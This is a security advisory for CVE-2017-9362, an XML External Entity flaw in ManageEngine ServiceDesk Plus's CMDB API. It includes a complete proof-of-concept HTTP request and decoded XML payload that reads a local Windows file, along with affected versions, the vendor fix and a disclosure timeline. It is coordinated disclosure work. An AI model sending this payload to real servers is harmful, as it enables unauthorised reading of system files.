CVE-2017-9362 - ManageEngine ServiceDesk Plus XML External Entity via CMDB API

1. Vulnerability Properties

Title: ManageEngine ServiceDesk Plus XML External Entity via CMDB API
CVE ID: CVE-2017-9362
CVSSv3 Base Score: 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H)
Vendor: Zoho
Products: ManageEngine ServiceDesk Plus
Advisory Release Date: 19 September 2017
Advisory URL: https://labs.integrity.pt/advisories/cve-2017-9362
Credits: Discovery by Paulo Monteiro <pm[at]integrity.pt> and Filipe Reis <fr[at]integrity.pt>

2. Vulnerability Summary

ManageEngine ServiceDesk Plus is vulnerable to XML External Entity while adding CI in CMDB API on the field INPUT_DATA.

3. Technical Details

A XXE vulnerability was found while adding CI in CMDB API, accessible to any authenticated user. An attacker can include any system file to the payload when sending the data.

Request:

POST /api/cmdb/ci HTTP/1.1
Host: 192.168.1.103:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.117:8080/SetUpWizard.do?forwardTo=apidoc
Content-Length: 2670
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

OPERATION_NAME=add&INPUT_DATA=<!DOCTYPE%20foo%20[<!ENTITY%20xxe15d41%20SYSTEM%20"file%3a%2f%2f%2fc%3a%2fwindows%2fwin.ini">%20]><API%20version%3d'1.0'%20locale%3d'en'>%0a%20%20%20%20<records>%0a%20%20%20%20%20%20%20%20<record>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>CI%20Name<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>Tomcat%20Server%203%26xxe15d41%3b<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>CI%20Type<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>Business%20Service<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>Site<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>(empty)<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>Business%20Impact<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>High<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>Description<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>Domain%20Conroller%20<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>Availability%20Target(%25)<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>200<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>Service%20Support%20Hours<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>24X5<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>Cost<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>8080<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20<parameter>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<name>Incident%20restoration%20target<%2fname>%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20<value>90%25<%2fvalue>%0a%20%20%20%20%20%20%20%20%20%20%20%20<%2fparameter>%0a%20%20%20%20%20%20%20%20<%2frecord>%0a%20%20%20%20<%2frecords>%0a<%2fAPI>

As we can see the payload needs to be url-encoded and it looks like so:

<!DOCTYPE foo [<!ENTITY xxe15d41 SYSTEM "file:///c:/windows/win.ini"> ]><API version='1.0' locale='en'>
    <records>
        <record>
            <parameter>
                <name>CI Name</name>
                <value>Tomcat Server 3&xxe15d41;</value>
            </parameter>
            <parameter>
                <name>CI Type</name>
                <value>Business Service</value>
            </parameter>
            <parameter>
                <name>Site</name>
                <value>(empty)</value>
            </parameter>
            <parameter>
                <name>Business Impact</name>
                <value>High</value>
            </parameter>
            <parameter>
                <name>Description</name>
                <value>Domain Conroller </value>
            </parameter>
            <parameter>
                <name>Availability Target(%)</name>
                <value>200</value>
            </parameter>
            <parameter>
                <name>Service Support Hours</name>
                <value>24X5</value>
            </parameter>
            <parameter>
                <name>Cost</name>
                <value>8080</value>
            </parameter>
            <parameter>
                <name>Incident restoration target</name>
                <value>90%</value>
            </parameter>
        </record>
    </records>
</API>

And the response would be:

response_xxe

4. Vulnerable Versions

  • < 9312

5. Solution

  • Update to version >= 9312

6. Vulnerability Timeline

  • 28/Mar/17 - Bug reported to vendor
  • 12/Apr/17 - Bug verified by vendor and given the id SD-66364
  • 22/Jun/17 - Bug fixed by vendor in version 9312
  • 19/Sep/17 - Advisory released

7. References

  • https://www.manageengine.com/products/service-desk/readme-9.3.html
  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9362